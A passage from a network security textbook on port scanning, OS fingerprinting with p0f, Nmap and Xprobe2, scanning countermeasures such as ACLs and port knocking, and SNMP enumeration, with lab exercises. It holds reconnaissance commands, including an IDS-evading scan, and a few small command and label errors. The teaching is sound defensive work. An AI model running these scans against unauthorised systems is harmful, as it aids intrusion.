price (it’s free), it offers great features if you are looking for a Windows GUI
scanner. Figure 4-9 shows SuperScan.
Other Scanning Tools
NetScan is an all-in-one commercial port-scanning tool that performs a
wide variety of port-scanning actions. More details are available at www.
netscantools.com. Look@LAN is another GUI-based all-in-one port-scanning
tool. Look@LAN provides results, active services (open ports), and more.
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Figure 4-9 SuperScan.
Look@LAN allows you to customize the scan ranges and offers a reporting
status. You can find more details and a free download at www.lookatlan.com.
THC-Amap is the final port-scanning tool I will discuss. It was developed
to overcome some problems that had previously plagued port scanners.
Traditional scanning programs did not always grab banners effectively. As an
example, some services, such as SSL, expect a handshake. Amap handles this
by storing a collection of responses that it can fire off at a port to interactively
elicit a response from it. Another is that scanning programs sometimes make
some basic assumptions that might be flawed. Many port scanners assume
that if a particular port is open, then the default application for that port must
be present. Amap probes these ports to find out what is really running there.
IN THE LAB
As you can see, an effective port scan places the attacker one step closer to a
successful attack. The real risk of the port scan is that the attacker can now
identify an active service and most possibly the version of the application
OS Fingerprinting
running. In your test lab, you can examine this further by performing the
following actions. Run SuperScan against an active system you have locally that
has HTTP active. If you have not already installed the program, now would be a
good time to download it from www.snapfiles.com/get/superscan.html.
If you do not have HTTP running, you can start it up on Windows computer by
going to Settings ➪ Control Panel ➪ Administrative Tools ➪ Services. With HTTP
running, you should have some results from your SuperScan port scan. Notice
in the results how a specific version of HTTP service is returned? My scan
retuned IIS 5.0.
Now go to www.securityfocus.com/vulnerabilities and search for
specific vulnerabilities for your specific version of service you found running.
These are the same vulnerabilities that an attacker might use to determine
which types of exploits the victim’s computer might be vulnerable to.
You can mitigate these risks by turning off services that are not needed,
filtering traffic at the firewall, or even changing banners so that the attacker is
returned incorrect information. No matter which approach you take, the idea
is to provide the attacker with nothing.
OS Fingerprinting
The detection of operating systems can be approached in one of two ways:
active or passive. A passive discovery tool does not interact with the target
system itself. Instead, a passive tool monitors network traffic, looking for
patterns that are characteristic of known operating systems. The database
of known patterns can be updated as the security community learns to
discern more device types. Tools of this type have become more capable as
development matures. Although the passive approach is attractive because
of its stealth and low network impact, the most accurate results are achieved
when you are connected directly to the network being observed.
An active OS fingerprinting tool interacts with the network target. Several
probes or triggers are sent. By analyzing the responses received from the
target, it is often possible to guess, with good accuracy, what OS is in control.
Commonly used operating systems present an identifiable signature when
probed in this manner.
Passive Fingerprinting
At this point, reconnaissance has provided some basic information about
the system. IP addresses, active systems, and open ports have been identified. While the individual performing these probes may not yet know what
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type of systems he is dealing with, he is getting close. Passive fingerprinting
is one way to determine this type of information. Passive sniffing is really
sniffing, as you are only examining packets as they come by. These packets
are examined for certain characteristics that can be pointed out to determine the OS. Four commonly examined items that are used to fingerprint an
OS are listed here:
The IP TTL value — Different operating systems set the TTL to unique
values on outbound packets.
The TCP window size — OS vendors use different values for the initial
window size.
The IP DF option — Not all OS vendors handle fragmentation in the
same way.
The IP TOS option — Type of Service is a 3-bit field that controls the priority of specific packets. Again, not all vendors implement this option in
the same way.
These are just four of many possibilities that can be used to passively
fingerprint an OS. One of the most up-to-date passive fingerprinting tools is
the Linux-based tool, P0f. P0f attempts to passively fingerprint the source of
all incoming connections once the tool is up and running. Because it’s a truly
passive tool, it does so without introducing additional traffic on the network.
P0fv2 is available at http://lcamtuf.coredump.cx/p0f.tgz. You will also
find the tool preinstalled on the BackTrack OS. P0f looks specifically at the
following IP and TCP fields:
Initial Time to Live — IP header
Don’t Fragment — IP header
Overall SYN packet size — TCP header
TCP Options such as windows scaling or maximum segment size — TCP
header
TCP Window Size — TCP header
P0f looks specifically at TCP session startups. In particular, it concentrates
on step one, the SYN segment. The program uses a fingerprint database (in a
file named p0f.fp) to identify the host that connects to you. The p0f.fp file
uses the following format:
wwww:ttt:D:ss:OOO...:QQ:OS:Details
wwww
- window size (can be * or %nnn or Sxx or Txx)
ttt
- initial TTL
D
- don’t fragment bit (0 - not set, 1 - set)
ss
- overall SYN packet size (* has a special meaning)
OOO
- option value and order specification (see below)
OS Fingerprinting
QQ
OS
details
- quirks list (see below)
- OS genre (Linux, Solaris, Windows)
- OS description (2.0.27 on x86, etc)
Here is a portion of the p0f file so that you can better understand how
it functions. Take a look at a portion of the p0f.fp file shown here. Look
specifically at the rule that is used to identify Mac OS versions 9.0 to 9.2:
##########################
# Standard OS signatures #
##########################
----------------- MacOS ------------------S2:255:1:48:M*,W0,E:.:MacOS:8.6 classic
16616:255:1:48:M*,W0,E:.:MacOS:7.3-8.6 (OTTCP)
16616:255:1:48:M*,N,N,N,E:.:MacOS:8.1-8.6 (OTTCP)
32768:255:1:48:M*,W0,N:.:MacOS:9.0-9.2
32768:255:1:48:M1380,N,N,N,N:.:MacOS:9.1 (1) (OT 2.7.4)
65535:255:1:48:M*,N,N,N,N:.:MacOS:9.1 (2) (OT 2.7.4)
----------------- OpenBSD ----------------16384:64:1:64:M*,N,N,S,N,W0,N,N,T:.:OpenBSD:3.0-3.4
57344:64:1:64:M*,N,N,S,N,W0,N,N,T:.:OpenBSD:3.3-3.4
Notice that the initial window size is 32768 bytes, the initial time to live
from the IP header is 255, the don’t fragment bit in the IP header is set on,
the total length of the SYN packet is 48 bytes, the maximum segment size
option is bolted on to the TCP header (as is the window scaling option), there
is a no-operation (NOP) in the option list as well, and no quirks are noted.
In its most trivial mode of operation, p0f watches only packets that involve
your host — the host that is running p0f. This provides a narrow view of
the network. But this might suffice for some needs if all you want to do is
track who connects to your machine. An example of p0f running in this is
shown here.
C:\>p0f -i2
p0f - passive os fingerprinting utility, version 2.0.4
(C) M. Zalewski <lcamtuf@dione.cc>, W. Stearns <wstearns@pobox.com>
WIN32 port (C) M. Davis <mike@datanerds.net>, K. Kuehl <kkuehl@cisco.
com>
p0f: listening (SYN) on ’\Device\NPF {BB5E4672-63A7-4FE5-AF9B69CB840AAA7E}’, 22
3 sigs (12 generic), rule: ’all’.
192.168.123.101:1045 - Windows 2000 SP4, XP SP1
-> 64.233.187.99:80 (distance 0, link: ethernet/modem)
p0f can also operate in promiscuous mode. Use the -p option for this. You
can monitor more network connections this way. Watching only the SYN
segment of the TCP session startup means that you are fingerprinting only
the system that initiates the connection. It tells you nothing about the system
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being connected to. There is an option, -A, that turns the program’s focus to
step two of the session startup, the ACK-SYN segment. This will then allow
you to fingerprint the system that is the object of the connection. While passive
OS identification is not as accurate as active fingerprinting, it is a fascinating
field and a very stealth way to identify the system.
Active Fingerprinting
Active stack fingerprinting is more powerful than passive fingerprint scanning
because the user does not have to wait for random packets for analysis. Active
fingerprinting requires the user of the active fingerprinting tool to inject the
packets into the network. Like passive OS fingerprinting, active fingerprinting
examines the subtle differences that exist between different vendors’ implementation of the TCP/IP stack. Therefore, if someone probes for these differences, the version of OS can most likely be determined. One of the individuals
that have been a pioneer in this field of research is Fyodor. Besides developing
the tool Nmap, he has also contributed to the security field by adding to the
body of knowledge about how active fingerprinting works. His white paper
‘‘Remote OS Detection using TCP/IP Fingerprinting (2nd Generation),’’ available at www.insecure.org/nmap/nmap-fingerprinting-article.html, has
some in-depth information and is a good resource if you want to learn
more about the topic. Listed here are some of the basic methods used in active
fingerprinting:
The FIN probe — A FIN packet is sent to an open port, and the response
is recorded. While RFC 793 states the required behavior is not to respond, many operating systems, including Windows, will respond with a
RESET.
Bogus Flag probe — As you may remember from earlier in the chapter,
only six valid flags are in the 1-byte TCP header. A bogus flag probe
sets one of the used flags along with the SYN flag in an initial packet.
Linux responds by setting the same flag in the subsequent packet.
Initial Sequence Number (ISN) sampling — This fingerprinting technique works by looking for patterns in the ISN number. Although some
systems use truly random numbers, others, including Windows, increment the number by a small fixed amount.
IPID sampling — Many systems increment a systemwide IPID value for
each packet they send. Others, including Windows, increment the number by 256 for each packet.
TCP Initial Window — This fingerprint technique works by tracking
the window size in packets returned from the target device. Many operating systems use exact sizes that can be matched against a database to
uniquely identify the OS.
OS Fingerprinting
ACK value — Here again, vendors differ in the ways they have
implemented the TCP/IP stack. Some operating systems send back the
previous value plus 1; others send back more random values.
Type of Service — This fingerprinting type tweaks ICMP port unreachable messages and examines the value in the Type of Service (TOS) field.
Some use 0; others return different values.
TCP Options — Here again, different vendors support TCP options
in different ways. By sending packets with different options set, the
responses will start to reveal the server’s fingerprint.
Fragmentation Handling — This fingerprinting technique takes advantage of the fact that different OS vendors handle fragmented packets
differently. RFC 1191 specifies the maximum transmission unit (MTU) is
normally set between 68 and 65535 bytes.
With some basic information out of the way, let’s look at some examples of
active fingerprinting tools.
OS Fingerprinting Tools
One of the first tools to actually be widely used for active fingerprinting back
in the late 1990s was Queso. Although no longer updated, it helped move this
genre of tools forward. You can find Queso on the enclosed BackTrack ISO
with this book. Nmap is probably the most used fingerprinting tool. It, too,
is included with BackTrack or can be download to run on Windows. The -0
option is used for fingerprinting. For a reliable prediction, one open port and
one closed port is required. An example fingerprint scan is shown here:
root@linux pc: /etc[root@linux pc /etc]# nmap -O 192.168.123.100
Starting nmap V. 4.52 ( www.insecure.org/nmap/ )
Interesting ports on unix1 (192.168.1.11):
(The 1529 ports scanned but not shown below are in state: closed)
Port
State
Service
79/tcp
open
finger
111/tcp
open
sunrpc
513/tcp
open
login
6000/tcp
open
X11
7100/tcp
open
font-service
32771/tcp
open
sometimes-rpc5
32772/tcp
open
sometimes-rpc7
Remote operating system guess: Solaris 2.6 - 2.7
Uptime 33.632 days (since Wed May 16 19:38:19 2007)
Xprobe2 is another active operating system fingerprinting tool with a
different approach to operating system fingerprinting. Xprobe2 relies on fuzzy
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signature matching. In layman’s terms, this means that targets are run through
a variety of tests. These results are totaled and the user is presented with a
score that tells the probability of the target machine’s OS (for example, 75%
Windows XP and 60% Windows 2000). Xprobe is also unique in that it uses a
mixture of TCP, UDP, and ICMP to slip past firewalls and avoid IDS systems.
IN THE LAB
OS fingerprinting provides the attacker with specific information as to what
operating system the targeted system is running. Consider the risks in this way:
The attacker may have a useful exploit for Windows XP SP1. However, if the
attacker cannot determine the operating system or believes it to be something
else, such as Linux, he or she may move on to another target.
You can mitigate these risks by blocking all unneeded traffic at the firewall
by using a basic product like ZoneAlarm (downloadable from http://www.
zonealarm.com/store/content/catalog/products/trial zaFamily/
trial zaFamily.jsp?dc=12bms&ctry=US&lang=en&lid=db trial).
ZoneAlarm is available for Windows systems. Commercial products such as
Portsentry can also be used to thwart attackers. Portsentry can be downloaded
from http://sourceforge.net/projects/sentrytools, and is designed
to be run on a Linux system.
Scanning Countermeasures
While we have spent a fair amount of time looking at how port scans are
performed and how that information can be used, it’s important to look at
how to block unauthorized individuals from this information. The most basic
method is to turn it off. As mentioned earlier in the chapter, the principle
of least privilege is simply the process of turning off everything that is not
needed. A second line of defense is intrusion detection. An intrusion detection
system (IDS) can detect scans on the network. Two types of IDS are common:
host intrusion and network. Host detection tools monitor the activities of
a specific host, whereas network intrusion detection tools monitor network
traffic in an attempt to recognize noteworthy or alarming network activity.
IDS will be discussed in detail in Chapter 10, ‘‘Intrusion Detection.’’
The tool that comes to mind for most people when you’re talking about
network intrusion detection is Snort. It is discussed in detail in Chapter 10.
One new rather novel approach is port knocking.
Remember that active scanning requires that an attacker attempt to communicate with the probed port to analyze and assess the potential operating
system. Port knocking is a defensive technique to prevent active fingerprinting. Port knocking requires that anyone wishing to use a particular service
Scanning Countermeasures
request access by sequencing a specific series of ports. Sequencing these specific
ports in a given order is required before the service will accept a connection.
Initially, the server presents no open ports to the network, but it does monitor
all connection attempts. The service is triggered only after the client initiates
connection attempts to the ports specified in the knock. During this knocking
phase, the server detects the appropriate sequence and opens a connection
when the knocking sequence is correct.
While this technique does not harden the underlying application, it does
make active fingerprinting more difficult for the attacker. Like most defensive
techniques, it does have some vulnerabilities. It’s not well suited for publicly
accessible services, and it’s also important to note that anyone who has the
ability to sniff the network traffic will be in possession of the appropriate
knock sequence. If we return to the principle of least privilege, I would
reiterate the point that this rule applies not only to hosts but also firewalls and
routers.
Securing routers and the traffic that flows through them is primarily achieved
by using packet filters. Packet filters are the most basic form of firewall. The
ability to implement packet filtering is built in to routers and is a natural fit
with routers because they are the access point of the network. Packet filtering
is configured through access control lists (ACLs). ACLs allow rule sets to be
built that will allow or block traffic based on header information. As network
layer traffic enters the router on its way into or out of the network, it is
compared to rule sets that have been saved in the ACL and a decision is made
as to whether the packet will be permitted or denied. For instance, a packet
filter may permit web traffic on port 80 and block DNS traffic on port 53.
ACLs can also be configured to log specific types of activity. For example,
traffic attempts to enter your network from the Internet yet is addressed with
a private address. A sample ACL is shown here with various permit, deny,
and logging statements:
no access-list 111
access-list 111 permit tcp 192.168.1.0 0.0.0.255 any eq www
access-list 111 permit udp 192.168.1.0 0.0.0.255 any eq dns
access-list 111 deny udp any any eq netbios-ns
access-list 111 deny udp any any eq netbios-dgm
access-list 111 deny udp any any eq netbios-ss
access-list 111 deny tcp any any eq telnet
access-list 111 deny icmp any any
access-list 111 deny ip any any log
interface ethernet1
ip access-group 111 in
As shown in this example, ACLs work with header information to make a
permit or deny decision. This includes items from IP, ICMP, TCP, and UDP.
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ACLs can make a decision on how to handle traffic based on any of the
following categories:
Source IP address — Is it from a valid or allowed address?
Destination IP address — Is this address allowed to receive packets
from this device?
Source port — Includes TCP, UDP, and ICMP
Destination port — Includes TCP, UDP, and ICMP
TCP flags — Includes SYN, FIN, ACK, and PSH
Protocol — Includes protocols such as FTP, Telnet, SMTP, HTTP, DNS,
and POP3
Direction — Can allow or deny inbound or outbound traffic
Interface — Can be used to restrict only certain traffic on certain
interfaces
Although packet filters do provide a good first level of protection, they are
not perfect. They can also block specific ports and protocols but cannot inspect
the payload of the packet. Most important, packet filters cannot keep up with
state. Packet filters have the advantage of being fast. State-based systems take
more time, as the traffic must be compared to a state table. For example, if
a state-based firewall were to see DNS reply traffic attempting to enter the
network, it must first look at the state table to see if a DNS request was ever
sent. As DNS is a request/reply protocol, replies should not exist in a void.
ACLs are the best place to start building in border security. ACLs should
be the starting point as far as dictating what will be filtered and what type of
connectivity is allowed to ingress and egress the border routers. To prevent
more advanced types of scans and attacks, you should also harden the network
against address spoofing. This can be accomplished by adding a few basic
lines to your border router’s ACLs. An example of this is given here using our
sample address of 192.168.123.0:
access-list egress permit 192.168.123.0 0.0.0.255 any
access-list egress deny ip any any log
Although this might not look like much, it’s actually all that is required to
ensure that addresses leaving your network are properly addressed. If not,
they are logged. Implementing a simple ingress and egress ACL can make
your network much more secure against network spoofing and is actually
easy to implement. If you have a router in your network security lab attempt
spoofing through the router with and without the ACL above, and observe the
results. One good resource to find out more ways to harden your router and
secure the traffic it handles is the NSA’s router security configuration. It can
be found at www.nsa.gov/snac/downloads all.cfm.
Summary
IN THE LAB
Here we look at specific measures you can take to prevent these vulnerabilities
in your test network. Step one is to start at the router. You will want to block all
traffic that should not be moving into your network. For example, block
individuals from being able to identify your router. If it is a Cisco device, you
may want to use the following ACL.
access-list 111 deny tcp any any 79 log or access-list 101 deny tcp
any any 9001
Port 79 is used by the finger command to identify services, and port 9001 is
the Xremote service port.
Step two is to enable the local firewall. Most Microsoft products, including
XP, 2003, and Vista, have built-in firewalls that can be enabled or disabled.
Simply enabling the firewall will prevent most service requests and block ping
requests. On the Linux side, there are tools such as IPtables and IPchains that
can be used to filter traffic.
Step three is to turn off unneeded services. Unless there is a valid need for a
particular service, it should be off. If you scan your BackTrack system, you will
notice that the developers have done a good job of following this rule; most
services are off by default. Your Windows systems will typically not be as tightly
controlled, and you will most likely find a number of ports open. You will want
to go through and turn off each of these that is not needed.
Step four is to always make sure that systems have the most current patch.
While it sounds redundant, you should, patch, patch, and patch again. Most
attacks are against down-level systems. Keeping the most current level of
software reduces the potential of a successful attack.
Summary
I hope this chapter has opened your eyes to the power of port scanning.
Port scanning is an important piece of evaluating how secure your network is and what types of services can be seen as open by an attacker.
Just remember that if we do not scan and secure our own networks, there
will always be a host of individuals ready to scan them for us. This can
include hackers, crackers, and attackers. Many of the more sophisticated
security-assessment tools such as Metasploit and Nessus actually make use
of port-scanning tools to provide the information needed about individual hosts. What I have tried to do in this chapter is show you more
than just the tool and take a more in-depth look at how these tools perform their specific functions. Having this knowledge makes you a much
stronger security engineer because now you can better apply specific tools
for specific situations. Just think back to our discussion on fingerprinting
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to see how this holds true. Passive fingerprinting offers a stealthy like way
to gather information, but you are at the mercy of waiting for someone else
to generate traffic. Active fingerprinting offers a much more accurate means
of OS identification, but it is also much more detectable, as it injects traffic
into the network. Now is the time to practice in your own lab to build your
proficiency.
Key Terms
Address Resolution Protocol — Protocol used to map a known IP
address to an unknown physical address.
Internet Control Message Protocol — Part of TCP/IP that supports
diagnostics and error control. Ping is a type of ICMP message.
IPSec (IP Security) — An IETF standard used to secure TCP/IP traffic
by means of encapsulation. It can be implemented to provide integrity
and confidentiality.
OS fingerprinting — The practice of identifying the operating system of
a networked device by using passive or active techniques.
Port knocking — A defensive technique that requires users of a particular service to access a sequence of ports in a given order before the
service will accept the user’s connection. The service will not reply as listening until the proper sequence of knocks happens.
Port scanning — The process of attempting to connect to TCP and UDP
ports for the purpose of identifying listening services
Principle of least privilege — A process of securing the network infrastructure by first denying all access and then allowing access only on a
case-by-case basis as needed.
RFC (Request for Comments) — Used to document a list of notes or
information about a service or protocol. RFCs are controlled by the Internet Engineering Task Force (IETF) and detail can be used as an Internet
standard.
Shoulder surfing — The act of looking over someone’s shoulder to steal
a password.
Transmission Control Protocol — One of the main protocols of IP. TCP
is used for reliability and guaranteed delivery of data.
User Datagram Protocol — A connectionless protocol that provides very
few error-recovery services but offers a quick and direct way to send and
receive datagrams.
Exercises
Wardialing — The process of using a software program to automatically call thousands of telephone numbers to look for anyone who has a
modem attached.
Wardriving — The process of driving around a neighborhood or area to
identify wireless access points.
Wired Equivalent Privacy — Based on the RC4 encryption scheme, WEP
was designed to provide the same level of security as that of a wired
LAN. Because of 40-bit or 104-bit encryption and problems with the initialization vector, it was found to be unsecure.
Exercises
This section presents several hands-on exercises to help reinforce your knowledge and understanding of the chapter. The author selected the tools and
utilities used in these exercises because they are easily obtainable. Our goal is
to provide you with real hands-on experience.
Port Scanning with Nmap
This first exercise steps you through the process of scanning with Nmap.
You can run Nmap from the included Backtrack.iso or you can download
it to run from a Windows computer. To download the Windows version, go
to http://insecure.org/nmap/download.html.
1. Install Nmap into a Windows directory that is in the command path so
that you can run it easily from the command line regardless of the folder
in which you are located.
2. From the command line, enter the following:
nmap -h
This will provide you with a listing of the command syntax of Nmap and
some of the types of scans it can perform.
3. From the command line or shell, enter the following command and note
the output:
nmap -sP <IP Address>
Enter an IP address that is within your network and that you have permission to scan. If you are not sure what the –sP switch (option) does,
you may want to look back over the results of step 2.
(Do you remember what task this command enables you to do? Does
it enable you to fingerprint, find live hosts, or port scan? Kudos if you
answered find live hosts!)
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4. Now, perform the following Nmap scan:
nmap -sP -T paranoid -randomize IP Addresses --packet trace
Notice the order and speed of the packets being sent for your computer.
This type of scan can be used to try to go undetected by some intrusion
detection systems.
5. Perform the following command and observe the output for nmap to the
shell:
nmap -sU <IP Address>
Remember that the –sU is a UDP scan, so the results may not be as
detailed as what was returned from TCP scans.
6. Perform the following nmap command and observe the command’s
output to the shell:
nmap -sA IP Address
This type of scan is sometimes used to deal with routers that have ACLs
applied.
I hope this exercise has helped to raise your awareness of how scanning
programs such as Nmap work. In the next exercise, you will get to see how
GUI-based scanning tools such as SuperScan work.
Port Scanning with SuperScan
This exercise steps you through a port scanning with a GUI tool. The scanning tool that is used is SuperScan. You can download SuperScan from
www.snapfiles.com/get/superscan.html.
1. After downloading, go to Start ➪ Programs ➪ System Tools ➪ SuperScan
to start the program. The program interface will appear and look similar
to Figure 4-10.
2. Enter a starting and ending IP address range to scan and press the >
button.
3. Click the Host and Service Discovery tab. Details will appear as shown in
Figure 4-11.
4. Leave the default settings as shown in Figure 4-11. Now, examine the
Scan Options tab.
5. Notice the Scan Options shown in Figure 4-12. Leave the scan options set
as 1 ms to perform a fast scan.
Exercises
Figure 4-10 SuperScan.
6. Click the Start button, shown in the bottom of Figure 4-10. Allow the scan
some time to complete.
7. When the scan is complete, click Generate HTMP Report. A report will be
generated, as shown in Figure 4-13.
This report can be used to examine open services and determine which ports
and services can be further locked down and secured. It can also help identify
that only approved applications and services are running on the network.
Using Look@LAN
This exercise steps you through the installation and use of Look@LAN.
Look@LAN can be downloaded from www.lookatlan.com. Download it and
accept the defaults during installation:
1. Once installed, go to Start ➪ Programs ➪ Look@LAN to start the program. Choose create a new profile to use the program for the first time.
Click Next to accept the defaults and allow the program to start its scan.
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Figure 4-11 SuperScan’s Host and Service Discovery tab.
2. The scan will complete automatically, and the finished results will be
displayed (see Figure 4-14).
Passive Fingerprinting
These final two exercises provide you an overview of fingerprinting tools. First
up is passive fingerprinting.
1. Start BackTrack and go to KDE ➪ BackTrack ➪ Enumeration ➪ Operating Systems ➪ Xprobe2. Xprobe2 is an active fingerprinting tool that
is used to identify operating systems based on a probability scale.
2. From the terminal, enter the following:
Xprobe2 <IP address>
3. Allow Xprobe2 to execute, and observe the results. Figure 4-15 shows a
sample scan.
Exercises
Figure 4-12 SuperScan’s Scan Options tab.
Figure 4-13 SuperScan’s scan report.
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Figure 4-14 Look@LAN’s scan results.
Figure 4-15 Xprobe2’s fingerprinting results.
Active Fingerprinting
This final exercise demonstrates active fingerprinting and steps you through a
Windows 2000 installation. I have specifically chosen Windows 2000 because
it has a number of vulnerabilities and works well to demonstrate exploits in
later chapters:
1. Open BackTrack and go to KDE ➪ BackTrack ➪ Enumeration ➪ Operating Systems ➪ Nmap. Nmap will open a terminal and start.
Figure 4-16 Nmap’s scan results.
Exercises
2. Enter Nmap -0 < IP Address > . You can scan a range of addresses by
using the following type of syntax.
Nmap -O 192.168.123.100-254
The results will be displayed as Nmap captures the information.
Figure 4-16 shows an example.
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Enumerating Systems
Enumeration can best be defined as the process of counting. From a security
standpoint, it’s the process the attacker follows before an attack. The attacker is
attempting to count or identify systems and understand their role or purpose.
This may mean the identification of open ports, applications, vulnerable
services, DNS or NetBIOS names, and IP addresses before an attack.
This chapter looks at the process of enumeration. It explores how enumeration is executed and looks at ways to reduce the effectiveness of enumeration
by attackers. In enumeration, the goal is to look for user account information,
system groups and roles, passwords, unprotected shares, applications, and
banners, and attempt to identify network resources. You also might want to
include obtaining Active Directory information. This process fits in well with
the network security lab you have constructed, as here is the place to test your
enumeration skills, yet also implement different types of defensive measures
to see how well they work. The overall goal is to use the lab to learn how to
defeat those that attempt enumeration maliciously.
Enumeration
Many people might think of enumeration as just a Windows type of activity.
That is actually untrue, as enumeration can be performed against many other
different types of systems and services, including the following:
Simple Network Management Protocol (SNMP)
Routing devices
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Other vulnerable services (such as web servers, SQL servers, and applications such as DNS, application code, and scripts)
Let’s start by looking at the way in which SNMP can be used for enumeration.
SNMP Services
Simple Network Management Protocol is a popular TCP/IP standard for
remote monitoring and management of hosts, routers, and other nodes and
devices on a network. SNMP was created in 1988 to meet the need for a
simple-to-use network management tool. SNMP can interact with many different types of hardware devices, a much-needed capability. SNMP enables
administrators to do the following:
Manage network performance
Locate and resolve network problems
Support better network management
SNMP is an application layer protocol that functions at the OSI Model
Layer 7. Figure 5-1 shows where the SNMP service is located.
Attackers are interested in SNMP for the same reason that network managers
are: because SNMP can be used to manage and report on workstations, servers,
routers, switches, and even intelligent hubs. SNMP is actually part of a larger
framework known as the Internet Standard Network Management Framework.
INTERNET STANDARD NETWORK MANAGEMENT FRAMEWORK
Early in the development of the Internet, it was seen that there was a need for
some type of management protocol. Several different technologies initially
competed, but SNMP won. When we think of SNMP, we are tempted to think
‘‘protocol,’’ as that is exactly what the name implies. We may also think of a
protocol as a lower-placed item in the stack and not as something that runs at
the presentation or application layer. Per the SNMP working group, these
upper-layer process are known as the Internet Standard Network Management
Framework. The Framework describes how the different components fit
together, how SNMP is implemented at lower layers, and how network devices
interact. While you might think this would be known as ISNMF, it has actually
been known collectively as SNMP since 1988.
Enumeration
Application Layer
SNMP
Application Layer
Presentation Layer
Presentation Layer
Session Layer
Session Layer
Transport Layer
Transport Layer
Network Layer
Network Layer
Data-Link Layer
Data-Link Layer
Physical Layer
Physical Layer
Figure 5-1 SNMP and the OSI Model.
Manager
Management
Protocol
Agent
Managed Object
MIB
MIB
Figure 5-2 SNMP structure.
SNMP uses two components: the manager and the agent. The manager
sends and updates requests, and the agent responds to these requests. Both
manager and agent use something known as a Management Information Base
(MIB). MIBs are organized in a tree structure and can be described as a
set of managed object property definitions within a device. Other components
of SNMP include managed objects and protocol data units. Figure 5-2 shows
these components.
Management stations can also send requests to set values for certain variables. Traps let the management station know that something significant has
occurred, such as a reboot or an interface failure. One design goal of SNMP was
to keep the protocol simple and, as such, the decision was made to implement
the protocol by means of the UDP protocol.
SNMP has been released in several different versions. Version 1 is a clear
text protocol and provides only limited security through the use of community
strings. SNMPv3 offers data encryption and authentication, although earlier
versions are still widely used. The default community strings are public and
private and are transmitted in clear text. The first community string is known
as the read community string. This community string or password lets you
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view the configuration of the device or system. The second community string
is called the read/write community string; it’s for changing or editing the
configuration on the device.
SNMP Enumeration Tools
For the attacker attempting to enumerate a network, SNMP offers a tempting
target. One approach is for the attacker to attempt to use the default community
strings. If that does not succeed, the attacker might also attempt to sniff the
community strings and attempt to determine what they are (if they have been
changed from the default value).
Devices that are SNMP-enabled share a lot of information. Just consider
how an attacker could use this type of data. Simply by knowing usernames,
the attacker has half of what is needed to gain access to many organizations’
systems. The risk from SNMP exposure is that it can provide the attacker
the information needed to successfully attack the network. In your network
security lab, you can test out insecure modes of SNMP and see for yourself the
way in which it is vulnerable. Tools available for SNMP enumeration include
the following:
SNMPUtil — A Windows resource kit command-line enumeration tool
that can be used to query computers running SNMP.
SNScan — A free GUI-based SNMP scanner from Foundstone.
SolarWinds IP Network Browser — A GUI-based network-discovery
tool that enables you to perform a detailed discovery on one device or an
entire subnet. This tool is not free, but you can download a demo from
www.solarwinds.net. Figure 5-3 shows a screen shot of the program.
Figure 5-3 SolarWinds IP Network Browser.
Enumeration
SNMP Informant — A product line of SNMP agent tools, available at
www.snmp-informant.com, that provides a series of SNMP add-ons and
includes some free utilities and links to additional SNMP tools.
Getif — A Windows GUI-based network tool, available at www.wtcs.
org/snmp4tpc/getif.htm, that allows you to collect and graph information from SNMP devices.
Trap Receiver and Trap Generator — Two free Win32 GUI-based programs, available at www/ncomtech.com, that support the reception and
transmission of custom SNMP traps, forwarding to other destinations,
and importing them into command lines and environment variables.
SNMP fits into the enumeration process as follows:
1. Attacker begins by port scanning for port 161 (SNMP).
2. Attacker attempts to connect to SNMP-enabled devices using default
community strings or by sniffing community strings.
3. Attacker uses the acquired information to attempt to log in to an enumerated system.
4. Attacker escalates privilege.
SNMP Enumeration Countermeasures
The best defense against SNMP enumeration is to turn off SNMP if it’s not
needed. If it is required, make sure that you block port 161 at network chokepoints and upgrade to SNMP version 3, if possible. For Microsoft systems, the
administrator can also implement the Group Policy security option Additional
Restrictions for Anonymous Connections, which restricts SNMP connections.
Finally, changing the community strings is another defensive tactic; doing so
makes them different in each zone of the network. Finally, implement ACL
filtering to only allow access to your Read-Write community from approved
stations or subnets.
IN THE LAB
The risk from enumeration is that attackers can gain enough information to
successfully attack the network. The goal in real life is to manage the need for
access to information such as SNMP against the need for security. It may be
that your network can do without many of the services provided by SNMP. After
all, one basic rule of security is to turn off everything, and turn on only what is
needed. In the lab, you can learn more about how SNMP is vulnerable by
turning on SNMP and then scanning it with any one of the tools discussed.
(continued)
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IN THE LAB (continued)
On one of your lab’s Windows computers, you will want to go to Start ➪
Control Panel ➪ Administrative Tools ➪ Services and make sure that SNMP is
enabled. If it is not present in services, you will need to go to Add/Remove
Programs and add the SNMP service. Once SNMP is added and running,
download Solar Winds from www.solarwinds.com/products/toolsets/
standard.aspx. After the product is installed, start the IP Network Browser
and enter the IP address of the system with SNMP installed. Look carefully at
what information has been returned. Turn off SNMP on the target system after
completing this task.
Routing Devices
Routers are one of the basic building blocks of networks because they connect
networks. And although this book does not directly focus on the functionality
and features of routing devices, you must have a sound understanding of these
devices if you want to enumerate them. You also need to be aware that some
routing devices and routing protocols have known security flaws that allow
exploitation without any further device enumeration. Let’s begin by reviewing
some basic routing information.
Routers use routing protocols to help packets find the best path to a target
network. Routers are the primary device concerned with routing and routed
protocols. Routers can be thought of as a specialized form of host that has
been finely tuned to perform the routing function. When a router receives a
packet, it examines the target IP address and then consults its routing table to
determine how to handle the information.
Routing begins when a packet is built and prepared for transit. The routing protocol then examines the packet’s destination and compares this to its
routing table. On a small/uncomplicated network, an administrator may have
defined a fixed route that all traffic will follow. On more complicated networks,
packets are routed dynamically using some form of metric. A metric can be
any of the following:
Bandwidth — This is a common metric based on the capacity of a link. If
all other metrics are equal, the router chooses the path with the highest
bandwidth.
Cost — The organization may have a dedicated T1 and an ISDN line. If
the ISDN line has a higher monetary cost, the traffic will then be routed
through the T1.
Delay — This is another common metric and can build on many factors,
including router queues, bandwidth, and congestion.
Enumeration
Distance — This metric is calculated in hops (i.e., how many routers
away the destination is).
Load — This metric is a measurement of the load that is being placed on
a particular router. It can be calculated by examining the processing time
or CPU utilization.
Reliability — This metric examines arbitrary reliability ratings so that
the most reliable link is used. Network administrators can assign these
numeric values to various links.
By applying this metric and consulting the routing table, the routing protocol
can make a best-path determination. At this point, the packet is forwarded to
the next hop as it continues its journey toward the destination. As mentioned
previously, routing protocols can be placed into two basic categories: static
(fixed) routing and dynamic routing.
Static routing algorithms are really not algorithms at all. They are just a table
that has been developed by a network administrator mapping one network to
another. Static routing works best when a network is small and the traffic is
predicable.
Dynamic routing uses metrics to determine what path a router should use
to send a packet toward its destination. The following are some examples of
dynamic routing protocols:
Routing Information Protocol (RIP)
Border Gateway Protocol (BGP)
Interior Gateway Routing Protocol (IGRP)
Open Shortest Path First (OSPF)
Routers and routing protocols are a potential target because they may offer
